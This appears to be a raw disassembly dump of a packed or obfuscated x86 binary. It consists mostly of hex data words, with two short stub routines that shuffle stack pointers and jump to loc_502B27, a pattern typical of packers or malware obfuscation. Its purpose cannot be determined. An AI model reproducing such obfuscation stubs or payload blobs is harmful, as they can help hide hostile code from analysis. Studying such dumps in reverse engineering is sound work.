		dd 0CD1E2953h, 8D1F72AEh, 491840A6h, 0D6234477h, 2A499AA9h
		dd 0F105D7F6h, 0F411830h, 5D262642h, 0B28474E6h, 0D953B495h
		dd 411825B1h, 30B4964h,	4BD1B94Eh, 506Bh, 525FB300h, 0AECD1E2Dh
		dd 246B1872h, 0A5259EC3h, 794FDB1Dh, 0E43EF811h, 0D1C3011Fh
		dd 0AF6F983h, 54674918h, 6E217507h, 4F3C4118h, 8EA3F0h
		dd 5AD71243h, 5524081Eh, 6E6CBC70h, 24814118h, 77ADEC5Bh
		dd 265B6E8Ah, 0B34BD187h, 0A7h,	0A27A5F9Bh, 473A3B96h
		dd 0C5EC307Bh, 87B236B7h, 5BF721EAh, 0D8A6CB18h, 77010E6Bh
		dd 5C9FCCh, 7BC4C8E5h, 5763391Eh, 0BA473A39h, 5398ADF3h
		dd 55F71E29h, 473A22FFh, 0B6D16A12h, 98A07CA1h,	7D473A15h
		dd 0FBE8E23Eh, 0BFD953B4h, 4A491E80h, 0C1F763F9h, 0ADF3236Bh
		dd 0D3203974h, 4C759CABh, 97750542h, 0C4F5B6AEh, 0A2574CBh
		dd 0E0AD0000h, 78030C67h, 107FA0CBh, 0A2D7D833h, 3D414E99h
		dd 0E183E70Eh, 0E59E6A8h, 0A3CA7901h, 0D6310A7Eh, 7198A3E9h
		dd 0EF3BF186h, 241137Dh, 777D44Ch, 9CE0D138h, 77D248A3h
		dd 0ECE93A05h, 0A6FDCAFh, 3A3B4692h, 0DC00AB47h, 2A52E795h
		dd 9FA8D011h, 0D724355Ch, 284B98A7h, 4381FF4h, 157A0000h
		dd 3A3B7387h, 0C917A647h, 7FE65F35h, 0A9977FA0h, 0D0CBEC11h
		dd 0F862402Bh, 72C1B2A4h, 0A6708715h, 16A54918h, 6FD8A4F1h
		dd 84A1FF3Eh, 1932A4C8h, 599F5A41h, 0D0D33B36h,	1E39E4Bh
		dd 0E8840000h, 473A3BC1h, 50A9F6EDh, 212FEFDCh,	8CEDC049h
		dd 2B42FD8Fh, 4CAD96E6h, 65C6BBFBh, 5BD148AFh, 4113EA0Fh
		dd 5488CBE2h, 3DEFD431h, 4113EAEDh, 6DD6A300h, 66BAFD38h
		dd 4D3E7F74h, 0C25ABFFEh, 4F319EB9h, 0DBA35766h, 80EF8F6Fh
		dd 931A8B7h, 0D4B90000h, 6C1F006Bh, 48BB4DFh, 96E32C47h
		dd 315D42ADh, 0ED8FFB12h, 26DDAA4h, 0B7DE6D1Dh,	2A45FE8Ah
		dd 45AC97E5h, 1B2FFD9Ah, 0FE41137Ch, 7A5FC858h,	3A3B96A2h
		dd 0A1C9A347h, 54473A3Bh, 8FD5D859h, 0FC211A62h, 2172CDBFh
		dd 35EF0906h, 4195FC47h, 51F3DC0Ch, 134A9h, 5777100h, 3B78801Ch
		dd 1E9D473Ah, 1B618EDFh, 0FCF7C920h, 55DA52B7h,	3A491843h
		dd 42922273h, 0BC411832h, 0E19CB335h, 0F44BD1CEh, 46h
		dd 0D6E2BA9Fh, 3B41183Ah, 0F04F3F70h, 805C80A3h, 364AB58h
		dd 18416669h, 83E4D749h, 31BACE5Eh, 5C5F4118h, 93E0E500h
		dd 69135CEBh, 0D4F882DEh, 2A411831h, 0B6C349AFh, 0F25A86C5h
		dd 4BD1D17Fh, 0AB5Ah, 0E65FC000h, 0E70BCC73h, 74BDE3C0h
		dd 0C1EE3F08h, 105D8EBDh, 6D82D36Ch, 5BCD241Fh,	473AC305h
		dd 0AFD9701Ch, 0E5244794h, 173BC384h, 9C337875h, 86B9F4E7h
		dd 0C502052h, 4D0DF6C3h, 2F98366h, 0CAB9D301h, 6E886485h
		dd 0C3491F23h, 0FC828FE8h, 93FB244Fh, 3669D2BAh, 0B512B040h
		dd 9D6CBDF5h, 7FFh, 0D23D0677h,	46A19EEDh, 0FE093659h
		dd 147FC8B1h, 8DE4632Bh, 0C72BBBDh, 9FEBD43Fh, 305849A0h
		dd 0C9B3FC17h, 8BEC177Eh, 1372C911h, 0BE662C41h, 4E3D7A5Fh
		dd 0DF81ACF1h, 473A3B8Bh, 0E8114F6Eh, 414E99A6h, 2DE9003Bh
		dd 0E93A0577h, 6A8FB8C4h, 0B3E05B2Dh, 2C232C70h, 216h
		dd 0A27A5F16h, 473A3B96h, 0EAEC307Bh, 684DAAF9h, 3B416903h
		dd 0F9B4473Ah, 2F4001DBh, 0DAD14921h, 404F4C89h, 0E236E603h
		dd 17411306h, 9EAE78A4h, 60411306h, 15487FF9h, 6C4BCA9Fh
		dd 0B3E05F2Fh, 0A2E12C70h, 29000001h, 3A3BC1E8h, 0A7F6ED47h
		dd 0D43574D3h, 212F8158h, 424D4A49h, 0F9B3D005h, 411306D1h
		dd 0EA366944h, 1E1B7C3Fh, 75BAD56Eh, 0EDEF3C07h, 0DC50A9F6h
		dd 4F317283h, 0BDB9416Ch, 9EEF9003h, 719B28Dh, 0EC910000h
		dd 84F73853h, 1C63ACC7h, 0AEDBC42Fh, 49357A95h,	0D59793FAh
		dd 3A55F29Ch, 0AFC685F5h, 0C22D1662h, 7D94AFDDh, 0E337E5F2h
		dd 16411372h, 577A040h,	0B8C4E93Ah, 1E1B5E8Fh, 9325ADAh
		dd 0DC215CFEh, 16B451F3h, 62000001h, 0E93A0577h, 835B8C4h
		dd 0E2B1684h, 40876C09h, 5A535E0Bh, 0AAE7F01Bh,	0DE3864DFh
		dd 0E3B9DE25h, 49189D0Ch, 0BB499A11h, 4118DC6Bh, 16470476h
		dd 4794AFD9h, 68BE3A37h, 0B4DB1DC4h, 4BD0F0B9h,	271Ch
		dd 107AB700h, 9DC3E233h, 64AB58C1h, 41666903h, 0E4D74918h
		dd 31D1E5B7h, 0A22F4118h, 0D14E0346h, 8D6B4BD1h, 0B3000000h
		dd 0E93A0577h, 588DBAC4h, 8DDE6913h, 0C8231C60h, 39F12A58h
		dd 0C27D0F47h, 559A49ABh, 0D45E7834h, 0B8F3491Eh, 1F2C525Fh
		dd 0EEBEE3F4h, 411F0CDAh, 19207C3Fh, 3C20D675h,	21F5B625h
		dd 6210910h, 0E4A90000h, 7C0F305Bh, 147BA4CFh, 0A6D3DC37h
		dd 414D729Dh, 0DD9FEB02h, 325DEA94h, 0A7CE7D0Dh, 0DA350E7Ah
		dd 759CA7D5h, 0EB3FED8Ah, 0E411371h, 777D848h, 0E3C8D138h
		dd 3A3BE109h, 0B0231447h, 0BC40C2A2h, 2C558BCAh, 168CE760h
		dd 4A340577h, 505DBAFDh, 0E6D2A528h, 8935D728h,	0BEF30A56h
		dd 0C71A75CEh, 2Eh, 3A05772Fh, 91AED0DDh, 0AAF3214Ch, 1F4CF785h
		dd 339F6869h, 0A5E0B55Ah, 1439028Ah, 0EF4A96C9h, 68E1AB89h
		dd 8ED91827h, 2553h, 5778300h, 1BECE93Ah, 0A3526E10h, 31CB0940h
		dd 473A70EEh, 0F62E4A27h, 775CBD86h, 3A7095A5h,	0EF357847h
		dd 5772EE4h, 0F8EBE93Ah, 4FDE4EABh, 2049212Fh, 948F783h
		dd 60D9A3F0h, 0B1FC211Eh, 0E2330C70h, 106980C3h, 96CA7503h
		dd 0F526216Bh, 7297DC97h, 0CF78000Dh, 12BFF791h, 4B624F08h
		dd 0AE9BE12Eh, 0C82160DBh, 9AE3107Fh, 0F12F164Dh, 60DBA1EEh
		dd 0FB22D133h, 689A1921h, 7EB1FC4Bh, 92E73419h,	9ACD1D8Fh
		dd 8D204B68h, 1774164Ah, 0F8454AE4h, 0A515C5B5h, 1526E966h
		dd 4EE0Ah, 2C176600h, 90AFDCC5h, 0F8474879h, 6ED9A091h
		dd 0D7741A07h, 61AA4ABCh, 0DAC72E1Dh, 377893B0h, 0A2EF0641h
		dd 0DF0661DAh, 77D6E2BAh, 973B4113h, 3A05778Fh,	0A59EEED3h
		dd 0F9423744h, 324B89D4h, 1A928FFDh, 473A3BCEh,	30498823h
		dd 3B0951CBh, 0C1EC473Ah, 222F4A93h, 251E6EC6h,	0A914EDCAh
		dd 0F2F53518h, 0D5EE99Fh, 0A571AFEEh, 51F2DEA8h, 3E0Dh
		dd 0AB581500h, 0F6690364h, 6749180Bh, 96E63354h, 0E73D78ADh
		dd 0FF808DF2h, 0A3D51C40h, 89DF7198h, 9041186Bh, 0F73853ECh
		dd 0B97A7C81h, 7913DB36h, 0A5D42146h, 0F62A499Ah, 43D48D7h
		dd 77BA0000h, 78801C05h, 6D473A3Bh, 911C2522h, 8DFC395Eh
		dd 1E4261B2h, 61DAA2CFh, 0F83D3606h
		dd 4766B790h, 59BEE304h, 3A3BB7C3h, 0D535A47h, 1843F47Bh
		dd 47344149h, 5488ABF8h, 7CB9DEDDh, 4E9A1213h, 0A3411832h
		dd 5984C908h, 252E23Bh,	1F411832h, 1226F66Fh, 7411832h
		dd 0B2075B4h, 4496C784h, 0B59B8FE9h, 0E865ACCCh, 0CD4BD1CEh
		dd 4Eh,	64AB5855h, 41666903h, 5ED74918h, 0FB4608A6h, 15467984h
		dd 18B53747h, 0E55E2A41h, 0D9B9CFB0h, 0B441C493h, 0E1320D7Bh
		dd 161C5CD1h, 0D339BF3Ah, 5889B2C6h, 9BDA0B34h,	8F9CD145h
		dd 90F54BD1h, 187BCC1Ch, 568A2141h, 0D0CFh, 5775700h, 0AFECE93Ah
		dd 0F13C61DAh, 4BF886A3h, 9CA7D51Ah, 7286167Bh,	0A7473A3Bh
		dd 70BDC814h, 48D8330Ch, 473A37CAh, 7D0C3D4Fh, 276883C2h
		dd 5CB9EA55h, 0C213305Fh, 681B7DA3h, 452EFE1Bh,	92491838h
		dd 28ABFFADh, 6F4E4118h, 5AB5F831h, 0DD3A897Ah,	3C680F4Fh
		dd 4EAB024Fh, 7A003D41h, 3CE798CDh, 0C2DE3E11h,	7F483574h
		dd 0DBDD4B42h, 0E6F31A5Dh, 2859E6A9h, 69B4D966h, 0CD800E2Bh
		dd 155085C2h, 0F62C24D2h, 0F8C9EF94h, 2EE61h, 2C176600h
		dd 90AFDCC5h, 0F8474879h, 6ED9A091h, 0D7741A07h, 61AA4ABCh
		dd 0DAC72E1Dh, 377893B0h, 0A2EF0641h, 0DF0661DAh, 75D6E2BAh
		dd 973B4113h, 3807778Fh, 0C1CBC8D1h, 0CA165586h, 0B62DDAFh
		dd 64AB5893h, 41666903h, 0E4D74918h, 5FE0C283h,	470AD9D0h
		dd 0EC30CC19h, 124118A8h, 83FE1157h, 564BD148h,	0DEh, 0A27A5FFCh
		dd 473A3B96h, 0C5EC307Bh, 125F8CB7h, 0FE8EDF6Ch, 473A3740h
		dd 0F686B3D9h, 0CB74044Dh, 5D226F88h, 3E0454C8h, 0C2E9473Ah
		dd 0D325D83h, 0C7E67E7Fh, 5490CE46h, 0CF84C015h, 3AB56780h
		dd 0E34918A6h, 0A45FA1C8h, 81623A5Fh, 8E4F3C06h, 0BA565721h
		dd 97A4A2F0h, 0C7E63776h, 0D93E6384h, 7D1B3743h, 0ADDDDA4Bh
		dd 0EF2E4D9Eh, 390688B1h, 2286720h, 12BCA8D2h, 67B485CEh
		dd 0F4533811h, 1F4584A7h, 0E3B9ACD2h, 4B7D7CD7h, 4B3E733Ah
		dd 4180A3F0h, 941615B9h, 0EA7546EFh, 1E7h, 0CA251E6Fh
		dd 7E89B6C5h, 96F14E31h, 0C67E0A9h, 0A5CC7B03h,	246AA345h
		dd 0B7C3CC27h, 48306188h, 0E1AB94FFh, 0B3C40F66h, 1374D1F9h
		dd 968E4441h, 0D1380777h, 46A39CE0h, 0DBF94649h, 577E2B8h
		dd 0AFD0DD3Ah, 0F4394C90h, 7DCAB188h, 0A3CA0D28h, 543B0E7Eh
		dd 4487A6F7h, 98A3D623h, 0D1F4284Bh, 0F1267B4h,	3A3B4D9Dh
		dd 0CA0DA047h, 1A255499h, 356BAAC9h, 86E33023h,	0C426E63Dh
		dd 0FC2050A6h, 8AA00F9Dh, 46754918h, 36B23F15h,	54B58EFEh
		dd 0C5163147h, 40D02C1Ch, 0ADECF662h, 570C6C77h, 0EE3DEF08h
		dd 0D74F3A2Fh, 0F8D9106Eh, 7EA29E8Ch, 76BBE8C3h, 78E83D06h
		dd 0E19277F1h, 2B107592h, 7E932971h, 3FE1CC4Bh,	4B7E93EBh
		dd 6071AF0Eh, 0B291FE3Bh, 4C1E4261h, 455CF93Fh,	0C6810B08h
		dd 0E50CAF9Ah, 2677D0BCh, 5A0BFC21h, 0F204E4D6h, 41469242h
		dd 0AB555Ch, 58E395DCh,	53B8010Bh, 5C41B1D9h, 0B496455h
		dd 226ACA2Eh, 0F5EECE19h, 0DCD349AEh, 0C15B7E2Bh, 71348DEAh
		dd 93BDADA1h, 61492D3h,	52D3427Dh, 0CAB2FF0Eh, 7F0F2C71h
		dd 7DEA93C0h, 682C05F6h, 0A897E728h, 0F942367Bh, 0E84589D4h
		dd 27B29A90h, 72A3A0EAh, 0E404ED33h, 0CA2F746Fh, 0F21F1CE5h
		dd 9BE0B953h, 11EAB20Eh, 0C50096Ch, 9045757Ah, 78931A51h
		dd 0C3246B18h, 8B011129h, 50A90457h, 0C50A3543h, 324B89B6h
		dd 0D4BA8FFDh, 0F7543A77h, 234487A6h, 499AA9D6h, 0A4EDF62Ah
		dd 6E3E6FD8h, 7683D25Dh, 3CF870F9h, 939CF750h, 1F2850E9h
		dd 5F9EADD2h, 0B291FD3Ah, 67125F6Eh, 489DA6D2h,	0A897E42Dh
		dd 0D4F9387Bh, 9577F160h, 854F398h, 47A09BE1h, 0D907444Ah
		dd 380389B6h, 1389EEEBh, 24D7D6C7h, 0C65D832Ah,	3, 7773CB2Ch
		dd 0C3E83D06h, 105D8EB9h, 618EDF68h, 0B4F92A19h, 3287DCAh
		dd 529FCC7Bh, 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 52243489h, 0C281E289h, 4
		dd 4EA81h, 14870000h, 0C895C24h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 242C895Ch, 6965BE56h, 2BB93860h, 81CDC8D4h
		dd 0DA7C6EC1h, 81F1012Fh, 0DA7C6EE9h, 0EC815E2Fh, 4, 81242489h
		dd 42404h, 525D0000h, 8BAh, 51EA0100h, 8B5A028Fh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		db 0FEh, 2Ch, 5Bh
		dd 295124B8h, 0FFC50306h, 0C2ACF7E0h, 655EB1Bh,	63041E0Bh
		dd 0BFEB3850h, 3336D70Eh, 0CDE7B953h, 512AEE48h, 8C4E0D16h
		dd 1855157Eh, 937D255Bh, 0C8DB5347h, 0B24B194Dh, 2AD83C7Ch
		dd 0DC177A7Ah, 0A0701746h, 0FC8B9518h, 6F904870h, 0CAECFD6Eh
		dd 5CECFC12h, 985C621h,	56062233h, 0C530DF68h, 49B5FFA9h
		dd 8D062226h, 257DBE85h, 8DD0FF06h, 2206D18Dh, 406A5106h
		dd 266DB5FFh, 0B5FF0622h, 6221BF5h, 0B5FFD0FFh,	622266Dh
		dd 1BF5B5FFh, 0BE80622h, 90000000h, 7A7C8011h, 0FA08BD57h
		dd 5E5ECE3Ah, 0C104EE83h, 0C102242Ch, 3022424h,	1CF72434h
		dd 6824h, 8B590000h, 0F2810E14h, 45ED9031h, 0E1CDEA81h
		dd 0C28163B3h, 0EEAF878h, 830E1489h, 494902E9h,	0F240C3Bh
		dd 1385h, 1DE900h, 0D2500000h, 0DB20C3E1h, 0D796112Eh
		dd 16DB6817h, 0FFFFC2E9h, 0E21451FFh, 4F2183D7h, 8D57875Fh
		dd 2210AD9Dh, 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h
		dd 0C98B1889h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 2952F2EDh
		dd 8428B06h, 2638453Dh,	38850F78h, 8B000001h, 4A8B0C42h
		dd 0BBC8D318h, 6CCAAF63h, 0E883C333h, 0F1858904h, 8B062233h
		dd 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 2432F2BEh, 2BC633F9h
		dd 0FCE083C7h, 8904E883h, 222D3185h, 14428B06h,	30E58589h
		dd 428B0622h, 0B0E95318h, 0FF000000h, 2234A5B5h, 0B9E906h
		dd 0B5FF0000h, 6220689h, 0AEE9h, 9DB5FF00h, 0E906221Dh
		dd 0A3h, 1311B5FFh, 98E90622h, 0FF000000h, 2204B9B5h, 8DE906h
		dd 0B5FF0000h, 6221281h, 82E9h,	0E5B5FF00h, 0E9062201h
		dd 77h,	0A85B5FFh, 6CE90622h, 0FF000000h, 222ADDB5h, 61E906h
		dd 0B5FF0000h, 62225EDh, 56E9h,	0DB5FF00h, 0E9062214h
		dd 4Bh,	21B5FFh, 40E90622h, 0FF000000h,	2219F5B5h, 35E906h
		dd 0B5FF0000h, 6222A4Dh, 2AE9h,	0D9B5FF00h, 0E906220Eh
		dd 1Fh,	1AB5B5FFh, 14E90622h, 8B000000h, 0BB8D8h, 0F7660000h
		dd 538D8DE3h, 3062953h,	0FFE1FFC8h, 22206595h, 858B5B06h
		dd 62233F1h, 0F045839h,	0F85h, 16A5300h, 307595FFh, 0E95B0622h
		dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 701858Bh
		dd 8D8D0622h, 6295441h,	8B014189h, 0D8D8DC3h, 0F062955h
		dd 680h, 11B58B00h, 89062208h, 2233F18Dh, 7D952906h, 0C7062207h
		dd 222D3185h, 6D0406h, 0B1858900h, 0C706221Bh, 2230E585h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 8F23D82Ch, 18830Fh, 13E90000h, 0AF000000h
		dd 5BFF01BFh, 743141FEh, 427F89A8h, 0AF3E079Eh,	0B5FF39FFh
		dd 6220A85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0C1C35343h, 85895BA2h, 622313Dh, 11098509h, 95FF0622h
		dd 6222065h, 6AF98Bh, 307595FFh, 0C08B0622h, 28B21EEBh
		dd 1E06CE35h, 15C5912Dh, 49B4C8ADh, 7672E0AAh, 0E4D67487h
		dd 47BB9398h, 113B49Ah,	0AE8h, 52BA9800h, 89AC3365h, 663B910Bh
		dd 20BF781h, 1D8F0F5Ah,	0E8000000h, 14h, 0D5F2308Eh, 0B2BDF1EEh
		dd 0A94EEF18h, 35F07499h, 0C2760726h, 5BF78B66h, 6E65C281h
		dd 0F98B0000h, 5F51C02Bh, 53020C8Bh, 5FF98B66h,	0D722F181h
		dd 0B70F0460h, 0E1F181F9h, 23394BBEh, 2206F1BDh, 0B3F18106h
		dd 817F798Fh, 1E9481F3h, 20C8968h, 29DDD780h, 220FF5B5h
		dd 4E88306h, 921CF881h,	850FFFFFh, 0FFFFFFBCh, 10E8F98Bh
		dd 6000000h, 254E891h, 633D326Eh, 0F97FC63Bh, 0E9A6E69Fh
		dd 0Eh,	0E80F7CA3h, 488595B2h, 0A0AA89CDh, 8B5BF4CAh, 2206CDBDh
		dd 81C38106h, 0F000064h, 0B9F3BFh, 8B000000h, 222CED85h
		dd 0B148B06h, 0F719D89h, 0C2810622h, 66077BC4h,	0C5C0F281h
		dd 81663A32h, 8162E5C7h, 632950F2h, 9E82Ch, 0F73C0000h
		dd 0E205EEE1h, 2B50911Eh, 22353985h, 14895806h,	61858B0Bh
		dd 0E9062230h, 0Dh, 0D13EF151h,	482CC99h, 6166BE3Fh, 1E983BDh
		dd 49F78B66h, 0F38B4949h, 9C54F981h, 850FFFFFh,	22h, 0BE9h
		dd 482D9F00h, 88EF62E5h, 4703BC4Fh, 1FE9h, 93365E00h, 0B63307D9h
		dd 54412BADh, 0C781A4B5h, 736E1F72h, 0FFFF6CE9h, 0D4035BFFh
		dd 8FED0A49h, 0EE8h, 0DAD58600h, 13DEF1F1h, 0CBD88493h
		dd 0BBD9AD8Ch, 516264ACh, 5890F5Eh, 0BB000000h,	73F7B6DAh
		dd 5AA8C681h, 0F520000h, 3359D9BFh, 19D8BD2h, 8B062226h
		dd 8D31163Ch, 62204F9h,	95E1EF81h, 85896310h, 6221DD1h
		dd 0B488F781h, 0B5896A1Ah, 622329Dh, 70A1C781h,	85895485h
		dd 622314Dh, 81163C89h,	0B2A1A1C9h, 6800F7Eh, 9000000h
		dd 220EA1B5h, 1EA8306h,	1BC99D29h, 4A4A0622h, 81E38A4Ah
		dd 0FFA5E4FAh, 0A4850FFFh, 8BFFFFFFh, 0FC8D8DD8h, 6A062957h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 949AC351h, 5D1BD89h, 8D890622h, 62233F1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3EC35040h
		dd 3E7C8A6h, 2C61858Bh,	85C70622h, 6222D31h, 6E1Ch, 1455858Bh
		dd 85C70622h, 62230E5h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 22C35343h
		dd 511591DDh, 2A4DB5FFh, 0B8660622h, 95FF3413h,	6222065h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4C35646h
		dd 0FECA225Fh, 81DFBF0Fh, 83B299C0h, 0FF006A61h, 22307595h
		dd 0EBC08B06h, 0FA1E5D6Bh, 0E4226970h, 8A783A34h, 2BE37785h
		dd 809A7BEFh, 48DCC96Fh, 0F4A0343Ah, 948A9118h,	0A5340DFh
		dd 6D22E85Fh, 58742186h, 0B9D08DA8h, 0F070EBC1h, 9D7EDD71h
		dd 6C0B1E3Ch, 0E7C8A63Eh, 0A6D9C003h, 31F21421h, 9A29E047h
		dd 0AFC95086h, 99295110h, 1C7F03F4h, 3934396Ch,	3BDDDC2Ch
		dd 0F8113808h, 5BA1351Dh, 29FE7348h, 15E9h, 0E1D12D00h
		dd 22h,	3 dup(0)
		dd 0ADE90000h, 68000004h, 629599Eh, 0F92A4EE9h,	5A2F68FFh
		dd 44E90629h, 68FFF92Ah, 6295B9Ah, 0F92A3AE9h, 94AFDEFFh
		dd 0F847347Dh, 60DFA091h, 0D6711809h, 3F0C72BFh, 0D912D2D4h
		dd 327F96B5h, 0AF90FB48h, 1A076ED9h, 0B7BEC972h, 633E4A22h
		dd 3FD34113h, 360777E7h, 0E9C4049h, 0A4CECA98h,	94FB3065h
		dd 44766B7h, 315B90C5h,	0D4A4F116h, 0E853266Bh,	9A49ABB4h
		dd 0E8E51EEFh, 5E91345Fh, 0B506339h, 0FEBD4918h, 7BCF1FADh
		dd 0A0314118h, 33A42953h, 0E3AD4FDBh, 72B1E225h, 62A5C32Eh
		dd 4BD16DEFh, 2E6CAh, 3814ED00h, 0DF6810B1h, 3B966F8Eh
		dd 2BFB198Fh, 0DB88FCD3h, 9EB97394h, 8F491828h,	0F3DC4E2Ch
		dd 495FEE1h, 8C96A243h,	2457546Fh, 5EB8E427h, 63395EA5h
		dd 4A9FF7F8h, 5843C4BDh, 0A9CC997Fh, 0AEFFBE6Bh, 96EB5AEh
		dd 0CCB2FF24h, 5D0F2E7Fh, 4E90EF0Dh, 0F597CDE0h, 40B2E552h
		dd 1A17703Bh, 71BEC972h, 146300Bh, 5CEC0EB3h, 2DFFC43h
		dd 0A4E90000h, 3C4F709Bh, 0D4BBE40Fh, 66131C77h, 18DB2DDh
		dd 1DDF2B42h, 729DAAD4h, 0E70E3D4Dh, 1A75CEBAh,	0B5DC6715h
		dd 2B7F2D4Ah, 0CE411362h, 0AB581808h, 82F60364h, 0B4994B9h
		dd 137156C6h, 57664921h, 34E8CD32h, 411363E4h, 337EA209h
		dd 0C8B4464Bh, 21332784h, 0FC8C89EEh, 0CDF21D43h, 6582C1h
		dd 13065C6Ch, 0B5FAB141h, 7267AC9h, 5A51DC75h, 74181597h
		dd 0AF7D9ACBh, 4113069Bh, 0A0FC3F7Eh, 0BE48F399h, 0F5B2850Fh
		dd 4EF6495Ah, 58000002h, 0BEE30A35h, 2A177ECDh,	828FE665h
		dd 0FC254CF7h, 6C5AB592h, 0C3B438Ch, 71CEBCE5h,	0E45F2916h
		dd 4FF8848Dh, 0C05C3D24h, 411361B8h, 5869B95Dh,	690364ABh
		dd 49211332h, 75CEBEFBh, 2D01F22Fh, 0EBDF8BE9h,	0B94B98DBh
		dd 41134D95h, 478AEE6Bh, 4BCA620Ah, 18AAFh, 7A5F7700h
		dd 3A3B96A2h, 0EC307B47h, 0F682B7C5h, 3B69B16Bh, 218C473Ah
		dd 0A70BDEEh, 8ACDE83Dh, 0CD0C3745h, 2E196FACh,	61AEABF2h
		dd 0B5FC201Bh, 0AA1B7CC7h, 3618B1E8h, 0CD760610h, 2B0D568Ah
		dd 358EEB38h, 517FF921h, 0DE3361F5h, 18BDE14Eh,	0D607B649h
		dd 193CF606h, 1CA1EB41h, 7C3325BFh, 0B8ED2C10h,	20B9C15Bh
		dd 515C4119h, 8DDE6910h, 0BC78F07Dh, 1F3574D3h,	32117DBAh
		dd 203347D5h, 0D7E64119h, 148A089h, 4BD0BC4Ch, 3369h, 0AB58B100h
		dd 66690364h, 0D7491841h, 75A6A5EAh, 16A6F736h,	411831C6h
		dd 1037B138h, 4BD1D15Dh, 0A400D3B4h, 4784D5D2h,	91C2810Ah
		dd 88070E52h, 0F000000h, 801C0577h, 473A3B78h, 8EDF1E9Dh
		dd 0FD2E1D61h, 0E7DCCB0h, 8EC1EC31h, 40899869h,	2095D4DDh
		dd 0F884A9FCh, 8264244Fh, 6F473AA9h, 0E9CB221Dh, 0D854B5FAh
		dd 491E0DBEh, 0B2FF1893h, 2B147FCCh, 9912E463h,	24F5B660h
		dd 0E314EBh, 0A0ED0000h, 38434CA7h, 0D0BFE00Bh,	62171873h
		dd 0FD818ED9h, 21C3274Eh, 4E99A6E8h, 0E30A3941h, 1671CABEh
		dd 0B1D86329h, 2F7B3146h, 0C2411360h, 777140Ch,	9CE0D138h
		dd 77D248A3h, 0ECE93A05h, 7661EC1Bh, 0DBF961DBh, 3A55EE9Eh
		dd 90AFD0DDh, 9AFC2043h, 0AF7D9AE9h, 4918E12Ch,	206D8A21h
		dd 0AE99EF5Eh, 94FF3E7Dh, 1900E034h, 0B48FFD41h, 1D2A545Dh
		dd 6B71C8h, 58DD0000h, 690364ABh, 49211336h, 52F19A27h
		dd 0DFADC213h, 82F60364h, 0B4994B9h, 8AB5C7C8h,	8DFF3C59h
		dd 0CEF861B2h, 0DC6B5A2Dh, 88528EC1h, 6CABDBFCh, 0CB698F6Ah
		dd 226F86C1h, 7FBCE15Ah, 28EC310Ah, 74CD3FB9h, 6FAEBCF2h
		dd 0B2FF25F6h, 0D7E4CBCAh, 117B3DEh, 4552A7CEh,	0A6C51635h
		dd 0F24D3F7Ah, 35EA1h, 0CB840000h, 3D067773h, 8EB9C3E8h
		dd 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh
		dd 6EDDA2CFh, 0BC8BF03Dh, 3A68696Fh, 54000003h,	8324048Fh
		dd 68042404h, 3459h, 51241C89h,	0C181E189h, 4, 8704E983h
		dd 895C240Ch, 0BE56240Ch, 7D142EDBh, 0EEC1EED1h, 57BD5507h
		dd 81493312h, 0E90B68F5h, 0EECD8127h, 454B0439h, 0F585ED81h
		dd 0EE016A31h, 5EF3895Dh, 240C8B54h, 5704C483h,	0BA52DF89h
		dd 8, 3A89CA01h, 0C8B5F5Ah
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		db 0E2h, 0D6h, 0Ah
		dd 0FAE0A264h, 0D1A4A6A2h, 16B27B07h, 295CA2B8h, 0FFC50306h
		dd 0F8B0FBE0h, 3B1B5122h, 0D46EE269h, 0BBED7265h, 31BFF03Fh
		dd 588A8300h, 0C3AA481Fh, 3CFAEB7Dh, 0CAD3C93Ch, 6D54A01Ch
		dd 0D0AAB345h, 26BDCF3Ch, 0EAA9EF12h, 60B91F2Fh, 0C9390F25h
		dd 0CDD3D579h, 0E2019958h, 396C0879h, 4F673614h, 0EB8E9567h
		dd 0C7B9612Eh, 0BE6ED206h, 0D507687Bh, 13BDCC68h, 3EBEA315h
		dd 6B93D142h, 4A080411h, 2A814468h, 6AE5601Ah, 11E850h
		dd 69AD0000h, 0AEF28B45h, 299EF79h, 62449EC1h, 5AA7F198h
		dd 0AC06E081h, 0C2814EE7h, 6CB1h, 48F0Fh, 0BB660000h, 3BE4BE1h
		dd 0F900001Bh, 9E80A8Bh, 23000000h, 0A43B69CBh,	0DF733714h
		dd 5FDA8B66h, 1835C181h, 90BF1331h, 810D099Ah, 5AB20AE9h
		dd 10E80Fh, 0BE090000h,	0EE917488h, 45236EF5h, 0A9CA9F6Dh
		dd 8B66BABDh, 0C1815BF9h, 500E1601h, 9E8h, 3FBD4C00h, 0DBDDBCF1h
		dd 8B66F875h, 0BB5158FBh, 32055680h, 83F9028Fh,	0BB6604EAh
		dd 0F4ED68Eh, 0FFFF9385h, 0B86660FFh, 870FCAA5h, 2, 0E8612BB7h
		dd 0Dh,	6E8EF50Eh, 0D9489166h, 585ACBDEh, 0B70F589Eh, 0D2C081DEh
		dd 6800006Eh, 1B87h, 5FFC8A52h,	0EF80505Eh, 30FF5A71h
